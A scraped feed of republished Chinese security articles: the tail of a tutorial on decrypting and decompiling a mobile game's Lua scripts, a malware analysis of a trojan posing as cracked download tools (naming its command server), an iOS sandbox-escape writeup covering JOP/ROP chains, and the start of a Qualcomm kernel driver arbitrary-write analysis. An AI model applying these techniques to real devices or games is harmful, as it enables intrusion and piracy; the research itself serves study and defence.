        CCFileUtils *utils = CCFileUtils::sharedFileUtils();
        unsigned long ulFileSize = 0;
        char *szFileData = (char*)utils->getFileData(strFilePath.c_str(), "rb", &ulFileSize);
        if (strncmp(szFileData, "L:grxx", 6))
        {
               if (!strncmp(szFileData, "__sign_of_g18_enc__", 0x13))
               {
                       szBuffer = szFileData + 0x13;
                       nBufferSize = ulFileSize - 0x13;
                       bResult = decrypt((unsigned char*)szBuffer, nBufferSize);
               }
        }
        else if (!strncmp(szFileData + 6, "__sign_of_g18_enc__", 0x13))
        {
               unsigned char *pData = (unsigned char *)szFileData + 0x19;
               int nLen = ulFileSize - 0x19;
               bResult = decrypt(pData, nLen);
               if (ZipUtils::isGZipBuffer(pData, nLen))
               {
                       nBufferSize = ZipUtils::ccInflateMemory(pData, nLen, (unsigned char**)&szBuffer);
               }
               else if (ZipUtils::isCCZBuffer(pData, nLen))
               {
                       nBufferSize = ZipUtils::inflateCCZBuffer(pData, nLen, (unsigned char**)&szBuffer);
               }
               else if (LzmaUtils::isLzmaBuffer(pData, nLen))
               {
                       nBufferSize = LzmaUtils::inflateLzmaBuffer(pData, nLen, (unsigned char**)&szBuffer);
               }
               else
               {
                       bResult = false;
               }
        }
        if(bResult)
               saveLuaData(szBuffer, nBufferSize, strSaveDir);
        return bResult;
}

 解密函数过程如下:

123.png

 decrypt()实现代码如下:

bool decrypt(unsigned char *pData, int nLen)
{
        Lrc4 *pLrc4 = new Lrc4;
        Lrc4_lrc4(pLrc4);
        Lrc4_s(pLrc4, pData, nLen);
        return true;
}

    Lrc4结构如下:

#define DATA_SIZE 256
struct Lrc4
{
        unsigned char pData[DATA_SIZE];  //初始化时计算得到的256个字节
        int nIndex;                      //记录下标
        int nPreIndex;                   //记录前一个下标
};

 其他函数的具体实现请看DecryptData_Mhxy.cpp文件,这里就不贴代码了。解密后的文件如下:

17.png

 可以看出,解密后的文件为luac字节码,但是这里直接用反编译工具是不能反编译luac字节码的,因为游戏的opcode被修改过了,我们需要找到游戏opcode的顺序,然后生成一个对应opcode的luadec.exe文件才能反编译。下表为修改前后的opcode:

18.png

    lua虚拟机的相关内容就不说明了,百度很多,这里说明下如何还原opcode的顺序。首先需要定位到opmode的地方,IDA搜索字符串"LOADK",定位到opname的地方,交叉引用到代码,找到opmode:

19.png

  off_B02CEC为opname的地址,byte_A67C00为opmode的地址,进入opmode地址查看:

20.png

     这里没有把全部数据截图出来,可以看出,这里的opmode跟原opmode是不对应的。原opmode在lua源码中的lopcodes.c文件中:

21.png

 源码用了宏,计算出来的结果就是上表中opmode的结果。这里对比opmode就可以快速对比出opcode,因为opmode不相等,那么opcode也肯定不相等,到这一步,已经能还原部分opcode了,因为有一些opmode是唯一的。比如下面几个:

22.png

     如SETLIST,原opcode为34,opmode为0x14,找到的opmode的第8个字节也为0x14,则实际上SETLIST的opcode为8。

     接下来就需要定位到luaV_execute函数,然后对比源码来还原其他的opcode,直接IDA搜索字符串"initial value must be a number"可以定位到luaV_execute 函数,再F5一下。接着打开lua源码中的lvm.c文件,找到luaV_execute函数,就可对比还原了。lua源码和IDA F5后的代码其实差别还是有的,而且源码用了大量的宏,所以源码只是用来参考、理解lua虚拟机的解析过程,本人在还原的过程中,会再打开一个没有修改opcode的libcocos2dlua.so文件,这样对比查找就方便多了。

     最后修改lua源码 lopcodes.h中的opcode、lopcodes.c的opname和opmode,重新编译并生成luadec51 .exe(需要将lua源码中的src目录放到luadec51的lua目录下才能编译),就OK了,写个批处理文件就可以批量反编译。一个文件反编译的结果:

23.png

6.总结

     总结一下解密lua的流程,拿到APK,首先反编译,查看lib目录下是否有libcocos2dlua.so,存在的话很大可能这个游戏就是lua编写,lib目录下文件最大的就是目标so文件,一般情况就是libcocos2dlua.so。接着再看assets文件夹有没有可疑的文件,cocos2dx框架都会把游戏的资源文件放到这个文件夹下,包括lua脚本。其次分析lua加密的方式并选择解密脚本的方式,如果可以ida动态调试,本人一般都会选择用idc脚本dump代码。最后如果得到的不是lua明文,还需要再反编译一下。

     不足之处:第一个是此文是本人逆向lua手游时的总结,而且本人逆向的手游可能不是很多,所以有些观点比较片面,不足之处请指正。第二个就是文章是事后写的,并且写文章的时间比较仓促,所以有些步骤写得可能不详细,欢迎讨论。如果有必要,会写一篇《如何一步一步还原梦幻手游opcode》,但是如果看过lua源码,对lua比较熟悉的话,找出来我想应该不是问题的。第三个就是luajit的反编译并不完美,用的是luajit-decomp反编译工具,工具作者也说只是满足了他自己的需求,所以如果可以的话,想自己实现一个luajit的反编译工具,而且梦幻luac的反编译好像部分代码也反编译失败了,可能自己遗漏了点什么吧,就先这样吧.....

参考文章

腾讯游戏安全中心《Lua游戏逆向及破解方法介绍》 //gslab.qq.com/portal.php?mod=view&aid=173

云风《Lua源码欣赏》//download.csdn.net/download/nomoonon/8551481

Kaitiren的专栏《Quick-cocos2d-x 与Cocos2dx 区别》//blog.csdn.net/kaitiren/article/details/35276177

原文://bbs.pediy.com/thread-216969.htm

]]>
//www.wpr29.cn/2808.html/feed 0
远控木马上演白利用偷天神技:揭秘假破解工具背后的盗刷暗流 - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn/2803.html //www.wpr29.cn/2803.html#respond Fri, 18 Aug 2017 03:14:55 +0000 //www.wpr29.cn/?p=2803 如今,不少人为了省钱,会尝试各种免费的方法获取网盘或视频播放器的会员权限,网上也流传着不少“网盘不限速神器”或者“播放器VIP破解工具”。不过,这些“神器”既不靠谱更不安全,因为它们已经被木马盯上了。

近日,360安全中心监测到一批伪装成“迅雷9.1尊贵破解版”、“百度网盘不限速”工具的远控木马正大肆传播。为了掩人耳目,木马不仅会添加桌面的快捷方式图标、软件安装的注册表信息,还足足利用了三层白利用才完成安装。最为精妙的是,其中一层白利用中,木马利用了BlueSoleil(一款蓝牙软件)的安装程序,直接修改配置文件(setup.ini)便实现了对白程序的劫持,让正规软件的安装程序转眼变成木马安装的温床。

远控木马入侵后,会趁中招者不注意安装Teamviewer等远程工具,进一步伺机窃取中招者的网银及游戏账号,实现转账盗刷及窃取游戏装备等操作。据360监测全网数据显示,该木马自7月11日集中爆发以来一直阴魂不散,更出现过多次小规模反弹,未来不排除利欲熏心的不法分子持续作案的可能。

下面以“迅雷9.1尊贵破解版”为例进行简要分析:

1.png

图1

文件相关性如下图所示:

2.png

 

图2

安装过程:

绿化.exe:将Program目录下的XLGraphicPlu.DLL改名为XLGraphicPlu.exe并执行:

通过比对迅雷官方文件发现官网包里并没这个文件。

3.png

图3

XLGraphicPlu.exe在桌面创建迅雷快捷方式图标并添加迅雷安装相关注册表信息以此掩人耳目,同时还执行了SDK目录下的AssistantToolsNaNd。

4.png

图4

而有意思的是AssistantToolsNaNd实际是蓝牙软件BlueSoleil的安装程序,它会通过setup.ini的配置,安装软件。这个程序被木马利用,成为了木马的安装器。

setup.ini中的内容:

5.png

图5

Setup.ini中,执行的lobaby.pif实际是NirCmd,它是一套功能齐全的命令行工具,被攻击者用来执行木马安装,而执行的指令存储在2345Picture.log中。

2345Picture.log中内容为一段批处理:

6.png

图6

7.png

图7

head+tale为完整的木马PE

8.png

图8

9.png

图9

QMDL.exe文件是一个被木马利用的正常程序,会主动去加载同目录下的QMCommon.dll文件。而该dll文件实际是一个含有恶意代码的木马程序。

10.png

图10

11.png

图11

12.png

图12

QMcommon.dll 利用zc.inf文件写启动项:

会将一段类似安装驱动的inf(主要用于添加QMDL.exe到启动项)写入到c:\windows\Temp\zc.inf里,并将rundll32.exe改名为zc.exe,同时创建zc.lnk指向:

13.png

图13

创建zc.inf:

14.png

图14

写入Zc.inf文件中的内容如下:

15.png

图15

QMcommon.dll:还会加载解密gif.txt内存执行

16.png

图16

到此为止,木马完成了安装。

危害:

加载解密gif.txt内存执行之后是一个远程控制程序,其CC服务器为:hayden.vancleefarpelspro.com

测试时连接到的是一个广东佛山顺德区的一个ADSL IP:219.128.79.36

17.png

图17

18.png

图18

19.png

图19

我们回头再看安装的所谓迅雷尊贵破解版,并没有实现什么功能上的破解,使用会员功能仍然需要充值。

20.png

图20

顺便还看到了被打包迅雷之前的下载列表,满满的加壳工具!

21.png

图21

回到这款远控,黑客在用户离开机器时,远程安装Teamviewer等远程工具,并在受害人完全不知情的情况下通过记住密码的旺旺登录淘宝、支付宝,进行购买礼品卡或转帐等操作。

22.png

图22

根据360的观察,该木马从7月11日开始集中爆发,在7月14日达到3500次的传播量。后在8月初的时候又出现了一波小的反弹,之后的传播则逐渐下降。

23.png

图23

与之对应的域名访问趋势也是类似:

24.png

图24

360安全卫士早已防御查杀该远控木马,在此建议广大网民,想获取VIP权限,还是通过正规渠道进行办理。如果想使用破解工具,也一定要在安全软件的?;は略诵?,一旦安全软件进行风险预警,切勿抱有侥幸心理继续安装运行。

25.png

图25

原文://bbs.pediy.com/thread-220477.htm

]]>
//www.wpr29.cn/2803.html/feed 0
再谈CVE-2017-7047 Triple_Fetch和另一种用NSXPC过沙盒的姿势 - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn/2799.html //www.wpr29.cn/2799.html#respond Thu, 10 Aug 2017 10:08:08 +0000 //www.wpr29.cn/?p=2799 作者:蒸米

------------------------------

0x00  

Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],利用这个漏洞可以做到iOS 10.3.2上的沙盒逃逸。chenliang@keenlab随后发表了一篇关于Triple_Fetch的分析[2],但由于这个漏洞和exp有非常多的亮点,所以还剩很多可以深入挖掘的细节。另外这个漏洞以及利用思路和我们去年OverSky私有越狱过沙盒的方法有一定相似性,也是利用NSXPC服务的漏洞,我们把这个漏洞称之为MLSqlite,并在这篇文章中一起分享出来。


0x01  CVE-2017-7047Triple_Fetch漏洞形成的原因


因为chenliang对漏洞成因的分析非常详细,这里我就简单描述一下,因为使用XPC服务传输大块内存的话很影响效率,苹果为了减少传输时间,对大于0x4000OS_xpc_data数据会通过mach_vm_map的方式映射这块内存,然后将这块数据的send rightport的方式发送到另一方。但这段内存的共享是基于共享物理页的方式,也就是说发送方和接收方会共享同一块内存,因此我们将数据发送以后再在发送端对数据进行修改,接收方的数据也会发生变化。

 

因此通过race condition,可以让接收端得到不同的数据(接收端认为是相同的数据),如果接收端没有考虑到这一点的话就可能会出现漏洞。比如我们刚开始让接收端获取的字符串是@”ABCD”(包括@),那么接收端会为这个字符串分配7个字节的空间。随后在进行字符串拷贝的时候,我们将字符串变为@"ABCDOVERFLOW_OVERFLOW_OVERFLOW",接收端会一直拷贝到遇到符号为止,这样就造成了溢出。

 

Triple_Fetch攻击所选择的函数是CoreFoundation里的___NSMS1()函数,这个函数会对我们构造的恶意字符串进行多次读取操作,如果在读取的间隙快速对字符串进行三次修改,就会让函数读取到不同的字符串,让函数产生判断失误,从而造成溢出并让我们控制pc,这也是为什么把这个漏洞称为Triple_Fetch的原因。下图就是攻击所使用的三组不同的字符串:



攻击所选择的NSXPC服务是“com.apple.CoreAuthentication.daemon”。对应的二进制文件是/System/Library/Frameworks/LocalAuthentication.framework/Support/coreauthd。原因是这个进程是root权限并且可以调用processor_set_tasks() API从而获取系统其他进程的send right[3]。下图是控制了pc后的crash report

 

 

0x02  MLSqlite Sandbox Escape漏洞分析

这个漏洞是我们OverSky团队(Cererdlong, Eakerqiu, Min (Spark) Zheng)发现的,并用于我们去年的OverSky私有越狱当中,但因为iOS 10加强了沙盒的规则,导致接口已经无法在沙盒内访问到了,但是这个漏洞在iOS 9.3.5(4s能升级到的最高版本)上依然可以使用。

 

漏洞出现在com.apple.medialibraryd.xpc这个NSXPC服务中,对应的bin在系统中的位置是:/System/Library/PrivateFrameworks/MusicLibrary.framework/Support/medialibraryd。这个NSXPC有一个接口是与sqlite操作相关的,但因为对调用者没有进行权限的检测,导致在沙盒内就可以对系统上任意的sqlite文件进行增删改查(漏洞一)。首先,你可以通过[[connection remoteObjectProxy] beginTransactionForDatabaseAtPath]方法创建或打开任意的sqlite文件。然后可以通过[[connection remoteObjectProxy] executeQuery]对这个sqlite文件执行sql语句。

 

但是仅仅执行sql语句是不够的,我们的目标是控制pc。幸运的是,iOS 9上有一个很经典的SQLitefts3_tokenizer分词器漏洞没有被修复(漏洞二)。关于这个漏洞,刚好长亭科技在BH2017上有一个相关的演讲[4],里面讲到了这个漏洞在浏览器中的利用,这次我们讲一下这个漏洞在iOS上用户态过沙盒的用法。首先我们可以通过fts3_tokenizer('simple')指令来泄露内存地址:



然后可以使用fts3_tokenizer('simple’, addr)我们可以控制虚表,攻击代码如下:



在汇编代码中,x25的值会在我们的控制之中:



因此我们可以用这种方法控制pc


随后我们会介绍如何执行ROP以及任意代码。

 

0x03  Triple_FetchJOP &ROP&任意代码执行

 利用漏洞Triple_Fetch虽然可以控制pc,但是还不能控制栈,所以需要先做stack_pivot,好消息是x0寄存器指向的xpc_uuid对象是我们可以控制的:

 


因此我们可以利用JOP跳转到_longjmp函数作为来进行stack pivot,从而控制stack:


 

最终发送的用来做JOP的格式伪造的xpc_uuid对象如下:


 

控制了stack就可以很容易的写rop了。但是beer目标不仅仅是执行rop,它还希望获取目标进程的task port并且执行任意二进制文件,因此除了exp,攻击端还用machmsg发送了0x1000个带有send rightport到目标进程中:



 

这些portmachmsg在内存中的位置和内容如下(msgh_id都为0x12344321):



随后,exp采用rop的方法对这些port进行遍历并且发送回发送端:


随后,攻击端会接收machmsg,如果获取到的msgh_id0x12344321的消息,说明我们成果得到了目标进程的task port


 

得到了task_port后,sploit()函数就结束了,开始进入do_post_exploit()。do_post_exploit()也做了非常多的事情,首先是利用coreauthdtask port以及processor_set_tasks()获取所有进程的task port。这是怎么做到的呢?

 

利用coreauthdtask port我们可以利用mach_vm_* API任意的修改coreauthd的内存以及寄存器,所以我们需要先开辟一段内存作为stack,然后将sp指向这段内存,再将pc指向我们想要执行的函数地址就可以让目标进程执行任意的函数了,具体实现在call_remote()中:



 

随后我们控制coreauthd依次执行task_get_special_port(), processor_set_default(), host_processor_set_priv(),processor_set_tasks()等函数,来获得所有进程的task port并返回给攻击端(具体实现在get_task_ports())中。接着,攻击端会遍历这个列表并筛选出amfid,launchd,installd,springboard这四个进程的task port。然后利用之前patchamfid的技巧,对amfid打补丁。最后再启动debugserver。

 

其实这个exp不但可以执行debugserver,还可以用来在沙盒外执行任意的二进制文件。只要把pocs文件夹下的hello_world二进制文件替换成你自己的想要执行的二进制文件,编译安装后,点击ui中的exec bundle binary即可:


 

具体怎么做到的呢?秘密在spawn_bundle_binary()函数中,先在目标进程中调用chmodbin改为0777,然后通过一系列的posix_spawn API(类似fork())在目标进程中执行该bin文件。

 

0x04  MLSqlite SBE JOP & ROP &任意代码执行

因为之前并没有beerexp作参考,因此在我们的MLSqliteSBE利用中,我们选用的stack pivot为:



为了给X28赋值,找了一段比较长的JOP5gadget),并没有beerexp简洁。随后利用一段万能gadget做到了ROP上的任意函数调用:


 

当然使用ROP执行代码又麻烦效率又低,我们当然希望能找到一种执行任意代码的方法,但是iOS并不允许不带”platform-binary”TeamID的二进制文件或动态链接库在沙盒外执行,除非这个加载这个库的bin”com.apple.private.skip-library-validation” entitlement

 

 

我们搜了一下iOS系统中所有的bin,发现neagent是唯一带有这个entitlementbin。这个bin的作用是加载第三方的vpn库,这也是为什么它必须拥有这个entitlement的原因。因此,我们采用这个漏洞(漏洞三),让目标进程调用execve()执行/usr/libexec/neagent,同时使用DYLD_INSERT_LIBRARIES环境变量来执行我们的第三方库,从而做到了任意代码执行:


 

0x05  总结

本文介绍了2NSXPC漏洞,分别是一个beer发现的通用NSXPC漏洞,和我们发现的MLSqlite漏洞。另外,还分析了两种iOS用户态上,用JOPstack pivot以及利用ROP做到任意代码执行的攻击技术。当然,这些漏洞只是做到了沙盒外的代码执行,想要控制内核还需要一个或两个XNU或者IOKit的漏洞才行,并且苹果已经修复了yalu102越狱用的kpp绕过方法,因此,即使有了Triple_Fetch漏洞,离完成全部越狱还有很大一段距离。

 

0x06  参考文献:

1、https://bugs.chromium.org/p/project-zero/issues/detail?id=1247

2、//keenlab.tencent.com/zh/2017/08/02/CVE-2017-7047-Triple-Fetch-bug-and-vulnerability-analysis/

3、//newosxbook.com/articles/PST2.html

4、https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf

原文:https://jaq.alibaba.com/community/art/show?articleid=1016

]]>
//www.wpr29.cn/2799.html/feed 0
高通加解密引擎提权漏洞解析 - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn/2792.html //www.wpr29.cn/2792.html#respond Tue, 08 Aug 2017 07:08:56 +0000 //www.wpr29.cn/?p=2792 author : jiayy(@chengjia4574)  from  IceSword Lab , Qihoo 360

前言 


CVE-2016-3935 和 CVE-2016-6738 是我们发现的高通加解密引擎(Qualcomm crypto engine)的两个提权漏洞,分别在2016年10月11月的谷歌android漏洞榜被公开致谢,同时高通也在2016年10月11月的漏洞公告里进行了介绍和公开致谢。这两个漏洞报告给谷歌的时候都提交了exploit并且被采纳,这篇文章介绍一下这两个漏洞的成因和利用。

背景知识 

高通芯片提供了硬件加解密功能,并提供驱动给内核态和用户态程序提供高速加解密服务,我们在这里收获了多个漏洞,主要有3个驱动

- qcrypto driver:  供内核态程序使用的加解密接口 
- qcedev driver: 供用户态程序使用的加解密接口
- qce driver:  与加解密芯片交互,提供加解密驱动底层接口

Documentation/crypto/msm/qce.txt

  Linux kernel
  (ex:IPSec)<--*Qualcomm crypto driver----+
                        (qcrypto)         |
                   (for kernel space app) |
                                          |
                                          +-->|
                                              |
                                              | *qce   <----> Qualcomm
                                              | driver        ADM driver <---> ADM HW
                                          +-->|                 |               |
                                          |                     |               |
                                          |                     |               |
                                          |                     |               |
   Linux kernel                           |                     |               |
   misc device  <--- *QCEDEV Driver-------+                     |               |
   interface             (qcedev)                       (Reg interface)  (DMA interface)
                        (for user space app)                    \               /
                                                                 \             /
                                                                  \           /
                                                                   \         /
                                                                    \       /
                                                                     \     /
                                                                      \   /
                                                                Qualcomm crypto CE3 HW

qcedev driver 就是本文两个漏洞发生的地方,这个驱动通过 ioctl 接口为用户层提供加解密和哈希运算服务。

Documentation/crypto/msm/qcedev.txt

Cipher IOCTLs:
  --------------
    QCEDEV_IOCTL_ENC_REQ is for encrypting data.
    QCEDEV_IOCTL_DEC_REQ is for decrypting data.

        The caller of the IOCTL passes a pointer to the structure shown
        below, as the second parameter.

        struct  qcedev_cipher_op_req {
                int                             use_pmem;
                union{
                        struct qcedev_pmem_info pmem;
                        struct qcedev_vbuf_info vbuf;
                };
                uint32_t                        entries;
                uint32_t                        data_len;
                uint8_t                         in_place_op;
                uint8_t                         enckey[QCEDEV_MAX_KEY_SIZE];
                uint32_t                        encklen;
                uint8_t                         iv[QCEDEV_MAX_IV_SIZE];
                uint32_t                        ivlen;
                uint32_t                        byteoffset;
                enum qcedev_cipher_alg_enum     alg;
                enum qcedev_cipher_mode_enum    mode;
                enum qcedev_oper_enum           op;
        };

加解密服务的核心结构体是 struct  qcedev_cipher_op_req, 其中, 待加/解密数据存放在 vbuf 变量里,enckey 是秘钥, alg 是算法,这个结构将控制内核qce引擎的加解密行为。

Documentation/crypto/msm/qcedev.txt

 Hashing/HMAC IOCTLs
  -------------------

    QCEDEV_IOCTL_SHA_INIT_REQ is for initializing a hash/hmac request.
    QCEDEV_IOCTL_SHA_UPDATE_REQ is for updating hash/hmac.
    QCEDEV_IOCTL_SHA_FINAL_REQ is for ending the hash/mac request.
    QCEDEV_IOCTL_GET_SHA_REQ is for retrieving the hash/hmac for data
        packet of known size.
    QCEDEV_IOCTL_GET_CMAC_REQ is for retrieving the MAC (using AES CMAC
        algorithm) for data packet of known size.

        The caller of the IOCTL passes a pointer to the structure shown
        below, as the second parameter.

        struct  qcedev_sha_op_req {
                struct buf_info                 data[QCEDEV_MAX_BUFFERS];
                uint32_t                        entries;
                uint32_t                        data_len;
                uint8_t                         digest[QCEDEV_MAX_SHA_DIGEST];
                uint32_t                        diglen;
                uint8_t                         *authkey;
                uint32_t                        authklen;
                enum qcedev_sha_alg_enum        alg;
                struct qcedev_sha_ctxt          ctxt;
        };

哈希运算服务的核心结构体是 struct qcedev_sha_op_req, 待处理数据存放在 data 数组里,entries 是待处理数据的份数,data_len 是总长度。

漏洞成因 

可以通过下面的方法获取本文的漏洞代码

* git clone https://android.googlesource.com/kernel/msm.git
* git checkout android-msm-angler-3.10-nougat-mr2
* git checkout 6cc52967be8335c6f53180e30907f405504ce3dd drivers/crypto/msm/qcedev.c

CVE-2016-6738 漏洞成因 

现在,我们来看第一个漏洞 cve-2016-6738

介绍漏洞之前,先科普一下linux kernel 的两个小知识点

1) linux kernel 的用户态空间和内核态空间是怎么划分的?

简单来说,在一个进程的地址空间里,比 thread_info->addr_limit 大的属于内核态地址,比它小的属于用户态地址

2) linux kernel 用户态和内核态之间数据怎么传输?

不可以直接赋值或拷贝,需要使用规定的接口进行数据拷贝,主要是4个接口:

copy_from_user/copy_to_user/get_user/put_user

这4个接口会对目标地址进行合法性校验,比如:

copy_to_user =  access_ok + __copy_to_user
  // __copy_to_user 可以理解为是memcpy

下面看漏洞代码

file: drivers/crypto/msm/qcedev.c
long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
        switch (cmd) {
        case QCEDEV_IOCTL_ENC_REQ:
        case QCEDEV_IOCTL_DEC_REQ:
                if (!access_ok(VERIFY_WRITE, (void __user *)arg,
                                sizeof(struct qcedev_cipher_op_req)))
                        return -EFAULT;

                if (__copy_from_user(&qcedev_areq.cipher_op_req,
                                (void __user *)arg,
                                sizeof(struct qcedev_cipher_op_req)))
                        return -EFAULT;
                qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_CIPHER;

                if (qcedev_check_cipher_params(&qcedev_areq.cipher_op_req,
                                podev))
                        return -EINVAL;

                err = qcedev_vbuf_ablk_cipher(&qcedev_areq, handle);
                if (err)
                        return err;
                if (__copy_to_user((void __user *)arg,
                                        &qcedev_areq.cipher_op_req,
                                        sizeof(struct qcedev_cipher_op_req)))
                                return -EFAULT;
                break;
...
        }
        return 0;
err:
        debugfs_remove_recursive(_debug_dent);
        return rc;
}

当用户态通过 ioctl 函数进入 qcedev 驱动后,如果 command 是 QCEDEV_IOCTL_ENC_REQ(加密)或者 QCEDEV_IOCTL_DEC_REQ(解密),最后都会调用函数 qcedev_vbuf_ablk_cipher 进行处理。

file: drivers/crypto/msm/qcedev.c
static int qcedev_vbuf_ablk_cipher(struct qcedev_async_req *areq,
                                                struct qcedev_handle *handle)
{
...
        struct  qcedev_cipher_op_req *creq = &areq->cipher_op_req;

        /* Verify Source Address's */
        for (i = 0; i < areq->cipher_op_req.entries; i++)
                if (!access_ok(VERIFY_READ,
                        (void __user *)areq->cipher_op_req.vbuf.src[i].vaddr,
                                        areq->cipher_op_req.vbuf.src[i].len))
                        return -EFAULT;

        /* Verify Destination Address's */
        if (creq->in_place_op != 1) {
                for (i = 0, total = 0; i < QCEDEV_MAX_BUFFERS; i++) {
                        if ((areq->cipher_op_req.vbuf.dst[i].vaddr != 0) &&
                                                (total < creq->data_len)) {
                                if (!access_ok(VERIFY_WRITE,
                                        (void __user *)creq->vbuf.dst[i].vaddr,
                                                creq->vbuf.dst[i].len)) {
                                        pr_err("%s:DST WR_VERIFY err %d=0x%lx\n",
                                                __func__, i, (uintptr_t)
                                                creq->vbuf.dst[i].vaddr);
                                        return -EFAULT;
                                }
                                total += creq->vbuf.dst[i].len;
                        }
                }
        } else  {
                for (i = 0, total = 0; i < creq->entries; i++) {
                        if (total < creq->data_len) {
                                if (!access_ok(VERIFY_WRITE,
                                        (void __user *)creq->vbuf.src[i].vaddr,
                                                creq->vbuf.src[i].len)) {
                                        pr_err("%s:SRC WR_VERIFY err %d=0x%lx\n",
                                                __func__, i, (uintptr_t)
                                                creq->vbuf.src[i].vaddr);
                                        return -EFAULT;
                                }
                                total += creq->vbuf.src[i].len;
                        }
                }
}
        total = 0;
...
        if (areq->cipher_op_req.data_len > max_data_xfer) {
...
        } else
                err = qcedev_vbuf_ablk_cipher_max_xfer(areq, &di, handle,
...                                                             k_align_src);
        return err;
}

在 qcedev_vbuf_ablk_cipher 函数里,首先对 creq->vbuf.src 数组里的地址进行了校验,接下去它需要校验 creq->vbuf.dst 数组里的地址

这时候我们发现,当变量 creq->in_place_op 的值不等于 1 时,它才会校验 creq->vbuf.dst 数组里的地址,否则目标地址creq->vbuf.dst[i].vaddr 将不会被校验

这里的 creq->in_place_op 是一个用户层可以控制的值,如果后续代码对这个值没有要求,那么这里就可以通过让 creq->in_place_op = 1 来绕过对 creq->vbuf.dst[i].vaddr 的校验,这是一个疑似漏洞

file: drivers/crypto/msm/qcedev.c
static int qcedev_vbuf_ablk_cipher_max_xfer(struct qcedev_async_req *areq,
                                int *di, struct qcedev_handle *handle,
                                uint8_t *k_align_src)
{
...
        uint8_t *k_align_dst = k_align_src;
        struct  qcedev_cipher_op_req *creq = &areq->cipher_op_req;


        if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)
                byteoffset = areq->cipher_op_req.byteoffset;

        user_src = (void __user *)areq->cipher_op_req.vbuf.src[0].vaddr;
        if (user_src && __copy_from_user((k_align_src + byteoffset),
                                (void __user *)user_src,
                                areq->cipher_op_req.vbuf.src[0].len))
                return -EFAULT;

        k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[0].len;

        for (i = 1; i < areq->cipher_op_req.entries; i++) {
                user_src =
                        (void __user *)areq->cipher_op_req.vbuf.src[i].vaddr;
                if (user_src && __copy_from_user(k_align_src,
                                        (void __user *)user_src,
                                        areq->cipher_op_req.vbuf.src[i].len)) {
                        return -EFAULT;
                }
                k_align_src += areq->cipher_op_req.vbuf.src[i].len;
}
...
        while (creq->data_len > 0) {
                if (creq->vbuf.dst[dst_i].len <= creq->data_len) {
                        if (err == 0 && __copy_to_user(
                                (void __user *)creq->vbuf.dst[dst_i].vaddr,
                                        (k_align_dst + byteoffset),
                                        creq->vbuf.dst[dst_i].len))
                                        return -EFAULT;

                        k_align_dst += creq->vbuf.dst[dst_i].len +
                                                byteoffset;
                        creq->data_len -= creq->vbuf.dst[dst_i].len;
                        dst_i++;
                } else {
                                if (err == 0 && __copy_to_user(
                                (void __user *)creq->vbuf.dst[dst_i].vaddr,
                                (k_align_dst + byteoffset),
                                creq->data_len))
                                        return -EFAULT;

                        k_align_dst += creq->data_len;
                        creq->vbuf.dst[dst_i].len -= creq->data_len;
                        creq->vbuf.dst[dst_i].vaddr += creq->data_len;
                        creq->data_len = 0;
                }
        }
        *di = dst_i;

        return err;
};

在函数 qcedev_vbuf_ablk_cipher_max_xfer 里,我们发现它没有再用到变量 creq->in_place_op, 也没有对地址 creq->vbuf.dst[i].vaddr 做校验,我们还可以看到该函数最后是使用 __copy_to_user 而不是 copy_to_user 从变量 k_align_dst 拷贝数据到地址 creq->vbuf.dst[i].vaddr

由于 __copy_to_user 本质上只是 memcpy, 且 __copy_to_user 的目标地址是 creq->vbuf.dst[dst_i].vaddr, 这个地址可以被用户态控制, 这样漏洞就坐实了,我们得到了一个内核任意地址写漏洞。

接下去我们看一下能写什么值

file: drivers/crypto/msm/qcedev.c
while (creq->data_len > 0) {
                if (creq->vbuf.dst[dst_i].len <= creq->data_len) {
                        if (err == 0 && __copy_to_user(
                                (void __user *)creq->vbuf.dst[dst_i].vaddr,
                                        (k_align_dst + byteoffset),
                                        creq->vbuf.dst[dst_i].len))
                                        return -EFAULT;

                        k_align_dst += creq->vbuf.dst[dst_i].len +
                                                byteoffset;
                        creq->data_len -= creq->vbuf.dst[dst_i].len;
                        dst_i++;
                } else {

再看一下漏洞触发的地方,源地址是 k_align_dst ,这是一个局部变量,下面看这个地址的内容能否控制。

 static int qcedev_vbuf_ablk_cipher_max_xfer(struct qcedev_async_req *areq,
                                 int *di, struct qcedev_handle *handle,
                                 uint8_t *k_align_src)
 {
         int err = 0;
         int i = 0;
         int dst_i = *di;
         struct scatterlist sg_src;
         uint32_t byteoffset = 0;
         uint8_t *user_src = NULL;
         uint8_t *k_align_dst = k_align_src;
         struct  qcedev_cipher_op_req *creq = &areq->cipher_op_req;


         if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)
                 byteoffset = areq->cipher_op_req.byteoffset;

         user_src = (void __user *)areq->cipher_op_req.vbuf.src[0].vaddr;
         if (user_src && __copy_from_user((k_align_src + byteoffset), // line 1160
                                 (void __user *)user_src,
                                 areq->cipher_op_req.vbuf.src[0].len))
                 return -EFAULT;

         k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[0].len;

在函数 qcedev_vbuf_ablk_cipher_max_xfer 的行 1160 可以看到,变量 k_align_dst 的值是从用户态地址拷贝过来的,可以被控制,但是,还没完

1178         /* restore src beginning */
1179         k_align_src = k_align_dst;
1180         areq->cipher_op_req.data_len += byteoffset;
1181 
1182         areq->cipher_req.creq.src = (struct scatterlist *) &sg_src;
1183         areq->cipher_req.creq.dst = (struct scatterlist *) &sg_src;
1184 
1185         /* In place encryption/decryption */
1186         sg_set_buf(areq->cipher_req.creq.src,
1187                                         k_align_dst,
1188                                         areq->cipher_op_req.data_len);
1189         sg_mark_end(areq->cipher_req.creq.src);
1190 
1191         areq->cipher_req.creq.nbytes = areq->cipher_op_req.data_len;
1192         areq->cipher_req.creq.info = areq->cipher_op_req.iv;
1193         areq->cipher_op_req.entries = 1;
1194 
1195         err = submit_req(areq, handle);
1196 
1197         /* copy data to destination buffer*/
1198         creq->data_len -= byteoffset;

